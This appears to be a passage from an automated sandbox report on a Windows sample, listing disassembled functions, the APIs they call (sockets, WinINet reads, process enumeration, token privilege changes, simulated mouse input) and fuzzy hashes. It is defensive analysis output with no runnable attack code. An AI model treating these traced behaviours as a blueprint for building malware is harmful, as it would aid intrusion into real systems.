Part of subcall function 00670DB6: std::exception::exception.LIBCMT ref: 00670DEC
Part of subcall function 00670DB6: __CxxThrowException@8.LIBCMT ref: 00670E01

_memmove.LIBCMT ref: 006A0258
_memmove.LIBCMT ref: 006A036D
_memmove.LIBCMT ref: 006A0414

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: fa6bdc3e1dc6847b373774702625b9f4d8659293861a8a853800385639fc8351
Instruction ID: 93a1c9367d7ef38b2598daebae4e293370885df9549949f0d1410b39e5c64eb0
Opcode Fuzzy Hash: fa6bdc3e1dc6847b373774702625b9f4d8659293861a8a853800385639fc8351
Instruction Fuzzy Hash: 7802CF70A00209DFDF04DF64D982AAEBBB6EF45300F1480A9E80ADB391EB35DD55CB95

Function 00651287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

DefDlgProcW.USER32(?,?,?,?,?), ref: 006519FA
GetSysColor.USER32(0000000F), ref: 00651A4E
SetBkColor.GDI32(?,00000000), ref: 00651A61

Part of subcall function 00651290: DefDlgProcW.USER32(?,00000020,?), ref: 006512D8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 5957d3b5d40ed824244135c5e9b9f22d59d0700f308233e4e3d8dd75249cd476
Instruction ID: d88f879618d14db445c80d3dfd4ca8c164d864869e7b32beb1e9353cca54f8f2
Opcode Fuzzy Hash: 5957d3b5d40ed824244135c5e9b9f22d59d0700f308233e4e3d8dd75249cd476
Instruction Fuzzy Hash: 3DA12474102585BAEB29AB288C55FFB255FDB43343F14421EF802D93D2DA248D0AD3BA

Function 006C6747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 006C7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 006C7DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 006C679E
WSAGetLastError.WSOCK32(00000000), ref: 006C67C7
bind.WSOCK32(00000000,?,00000010), ref: 006C6800
WSAGetLastError.WSOCK32(00000000), ref: 006C680D
closesocket.WSOCK32(00000000,00000000), ref: 006C6821

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 19114121a588f70f3aa8979a30cb74b699dad3d73ef76ac494fce8bcd8f10026
Instruction ID: 1192a45eb53412dbdd86a8cde048eb813e3bc28bbb22d123118d8e571fa0af36
Opcode Fuzzy Hash: 19114121a588f70f3aa8979a30cb74b699dad3d73ef76ac494fce8bcd8f10026
Instruction Fuzzy Hash: 6F41AF75A00200AFEB90AF24CC86F7E77AADF45714F04855CFD56AB3D2CA709D048BA5

Function 006D5376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 006D53C5
IsWindowEnabled.USER32 ref: 006D53D3
GetForegroundWindow.USER32(?,?,00000001), ref: 006D53E0
IsIconic.USER32 ref: 006D53EE
IsZoomed.USER32 ref: 006D53FC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 3284df5f321eb014a7f4668a83f7c6a6e6651f9e1b5254f649b0330afe9c0389
Instruction ID: f9a3abc939944ba33ad5d21a054bf7f247e460689df252be636972ab1bf214e1
Opcode Fuzzy Hash: 3284df5f321eb014a7f4668a83f7c6a6e6651f9e1b5254f649b0330afe9c0389
Instruction Fuzzy Hash: 11110431B019106FDB206F26DC44AAE7B9BEF843A1B01442AF847D7741DBB0DD018AA4

Function 006A80A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006A80C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006A80CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006A80D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006A80E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006A80F6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2fbd7342c8f1566b9790ef255cbf66001a55b1e40a61be4e4cef423c0f30f477
Instruction ID: e292b26cc9cd01f714c7e5909f9fb3913f7de6e0a1b7302e0b219f6319606145
Opcode Fuzzy Hash: 2fbd7342c8f1566b9790ef255cbf66001a55b1e40a61be4e4cef423c0f30f477
Instruction Fuzzy Hash: DBF06231641205AFEB101FA5EC8DEA73BBEEF4A755B040026F946C7250CB619D51DEA0

Function 00654B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00654AD0), ref: 00654B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00654B57

Strings

kernel32.dll, xrefs: 00654B40
GetNativeSystemInfo, xrefs: 00654B51

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: db0e6ffb52e31530759999aa7eababe4ffac11945022ef3cdc3bd07a902e27df
Instruction ID: 98fd411db6ec72ac7758346b16426b9f8c5d4b3941ae9d3efa64bcda3016fb90
Opcode Fuzzy Hash: db0e6ffb52e31530759999aa7eababe4ffac11945022ef3cdc3bd07a902e27df
Instruction Fuzzy Hash: B4D01734E10713CFD7209F32EC28B4676E6AF05396F16887B9897D6250EBB0E8C4CA54

Function 006CEE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 006CEE3D
Process32FirstW.KERNEL32(00000000,?), ref: 006CEE4B

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Process32NextW.KERNEL32(00000000,?), ref: 006CEF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 006CEF1A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: fed7e8a1486e838ad23f6c22cd94452fb5168b525ec6d4f3bfc609c799bc4c8d
Instruction ID: 8669c85d259f1493cb1e61db31d917d64afe7c9e48c6f8b439678f9cc70d44a8
Opcode Fuzzy Hash: fed7e8a1486e838ad23f6c22cd94452fb5168b525ec6d4f3bfc609c799bc4c8d
Instruction Fuzzy Hash: 9C51AD71504301AFD350EF20DC85EABB7E9EF88750F10492DF996972A1EB70E908CB96

Function 006AE616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 006AE628

Strings

(, xrefs: 006AE66E
|, xrefs: 006AE658

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: cb9cdd3ec9572cb723df8eb2d53577cc5edc9488a1bb1186039745afbab3e2f4
Instruction ID: e66f5e554d7432aaa53a42efc8a44edadfe5014f93957e4df229970a7cf537a7
Opcode Fuzzy Hash: cb9cdd3ec9572cb723df8eb2d53577cc5edc9488a1bb1186039745afbab3e2f4
Instruction Fuzzy Hash: 1C323375A007019FDB28DF59C4809AAB7F2FF48320B15C46EE89ACB3A1E771E941CB54

Function 006C22EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,006C180A,00000000), ref: 006C23E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 006C2418

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 3bda61addd43b2793c406b087dc1428525cee64c354b0d65e04db09a586e924b
Instruction ID: 0591b52e19f873531ded4c197dc501d6d542482e520c819493a9dbc1c093a606
Opcode Fuzzy Hash: 3bda61addd43b2793c406b087dc1428525cee64c354b0d65e04db09a586e924b
Instruction Fuzzy Hash: 1241E37190420AFFEB10DE95DC95FFB77EEEB40714F10806EFA09A6240EA749E419664

Function 006BB333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006BB343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 006BB39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 006BB3EA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 3234ca737de88270296c6abbdc6b3f2da1482e17aed5647ecc73296ce06375f1
Instruction ID: 5158d225004229b3f6f0712375d086ddc3bea495aedecb7b671baa81f55aaad9
Opcode Fuzzy Hash: 3234ca737de88270296c6abbdc6b3f2da1482e17aed5647ecc73296ce06375f1
Instruction Fuzzy Hash: AC218E75A00118EFCB00EFA5D880AEDBBB9FF49310F0480AAE905AB351CB319959CF54

Function 006A87E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00670DB6: std::exception::exception.LIBCMT ref: 00670DEC
Part of subcall function 00670DB6: __CxxThrowException@8.LIBCMT ref: 00670E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006A882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006A8858
GetLastError.KERNEL32 ref: 006A8865

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 5afc3e4bdcf345bbf401735777924ea2d10008cd335c01b516a98e9eca0e8bdb
Instruction ID: df2556623bad41e2b36bdb113863f5a21e0f0d1f04da8a96974db7131a6ed744
Opcode Fuzzy Hash: 5afc3e4bdcf345bbf401735777924ea2d10008cd335c01b516a98e9eca0e8bdb
Instruction Fuzzy Hash: 90116DB2814305AFE728EFA4DC85D6BB7EEEB45710B20852EE45697241EE34AC418B60

Function 006A874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 006A8774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 006A878B
FreeSid.ADVAPI32(?), ref: 006A879B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 8cf72e1ded6df46f9ba779ed8265550c91f7bf0d1ead5dcace1145785ab7d5b2
Instruction ID: 7f798b351efe77609fe99f5d210c767f878b41c0a6b155323b2fe7c3a279456a
Opcode Fuzzy Hash: 8cf72e1ded6df46f9ba779ed8265550c91f7bf0d1ead5dcace1145785ab7d5b2
Instruction Fuzzy Hash: 6BF03C75D11208BFDB00DFE49C99ABDB7B9EF08201F504469A502E3281D6715A448B50

Function 006B8889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 006B889B

Part of subcall function 0067520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,006B8F6E,00000000,?,?,?,?,006B911F,00000000,?), ref: 00675213
Part of subcall function 0067520A: __aulldiv.LIBCMT ref: 00675233

Strings

0eq, xrefs: 006B8892

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0eq
API String ID: 2893107130-3835880138
Opcode ID: a98b978b92b16fdb9ae34cce9932eab5c5188b8a17d967880557afe393c0156e
Instruction ID: 33dad0db3af18aeae4b8990083fe260f6bc6e9904f11ba30890eafeb93ca4879
Opcode Fuzzy Hash: a98b978b92b16fdb9ae34cce9932eab5c5188b8a17d967880557afe393c0156e
Instruction Fuzzy Hash: 1C21B1726356108FC729CF29D841A92B3E6EFA5311B68CE6CD0F5CB2C0CA74B945CB58

Function 006B4C7F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 006B4CB3

Strings

DOWN, xrefs: 006B4C98

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: mouse_event
String ID: DOWN
API String ID: 2434400541-711622031
Opcode ID: 9b22f39b4765da049e97c9fe2d196eff4735547ec15ecec218cc73151595b66a
Instruction ID: eb189b406e47b2ad15b3a53a541e82a3bb161f5175bd218dbc5c2c12ebdce255
Opcode Fuzzy Hash: 9b22f39b4765da049e97c9fe2d196eff4735547ec15ecec218cc73151595b66a
Instruction Fuzzy Hash: CAE086F219D7223CF9842618BC03EF7078D8B127357104246F814E51C2DE451CC325AC

Function 006BC6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 006BC6FB
FindClose.KERNEL32(00000000), ref: 006BC72B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 0aea248f03a427cac685bb0ff3e9e5f36e9fccf0603880dee170dc3ff3a91a38
Instruction ID: 5ca6a162d83e53a44d5c5ce7a572bd0d5c9cbb09a04a82351b058cd08ce62e7d
Opcode Fuzzy Hash: 0aea248f03a427cac685bb0ff3e9e5f36e9fccf0603880dee170dc3ff3a91a38
Instruction Fuzzy Hash: 5511A5716006009FDB10DF29C85596AF7E6FF45321F048A1EF9A5CB290DB30AD05CF95

Function 006BA06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,006C9468,?,006DFB84,?), ref: 006BA097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,006C9468,?,006DFB84,?), ref: 006BA0A9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 95a1fa1c6802ed437b65b9bace52173c608e3171cdcc97b5b3f87274eefc5ab0
Instruction ID: 7585e0d87ae6b484f5349f15577340a66f9a2d02f32f2fc71d1695a57a89490a
Opcode Fuzzy Hash: 95a1fa1c6802ed437b65b9bace52173c608e3171cdcc97b5b3f87274eefc5ab0
Instruction Fuzzy Hash: ADF0E23550522DBBDB20AFA4CC48FEA736EBF08361F00426AF809D6180C6309A40CBA1

Function 006A81CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,006A8309), ref: 006A81E0
CloseHandle.KERNEL32(?,?,006A8309), ref: 006A81F2

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: fb4f6da4edc2c2d97be00caffaf7594b10e8dfda4dff16cf4fb484595e124c1e
Instruction ID: 8fb14c99fb938b8f371fafa62ed6fe528a0834115e3f6530ce493bc8890342a7
Opcode Fuzzy Hash: fb4f6da4edc2c2d97be00caffaf7594b10e8dfda4dff16cf4fb484595e124c1e
Instruction Fuzzy Hash: FAE08C32001A11EFF7212B20EC08D737BEBEF00310714C82EF8AA80430CB22AC90DB60

Function 0067A155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00678D57,?,?,?,00000001), ref: 0067A15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 0067A163

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4e4dc6553db30eb5a39efbba84e3bd979809a93da6eddfa2a36a4b719be33350
Instruction ID: a56d2f2bf35eee2812ecab3a921bb16622b54cce86ecaa3eb58277901477a0f3
Opcode Fuzzy Hash: 4e4dc6553db30eb5a39efbba84e3bd979809a93da6eddfa2a36a4b719be33350
Instruction Fuzzy Hash: E7B09231455208ABCB002B95EC09B883F6AEB44AA2F429022F60E84060CF6254508AD1

Function 0067F1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
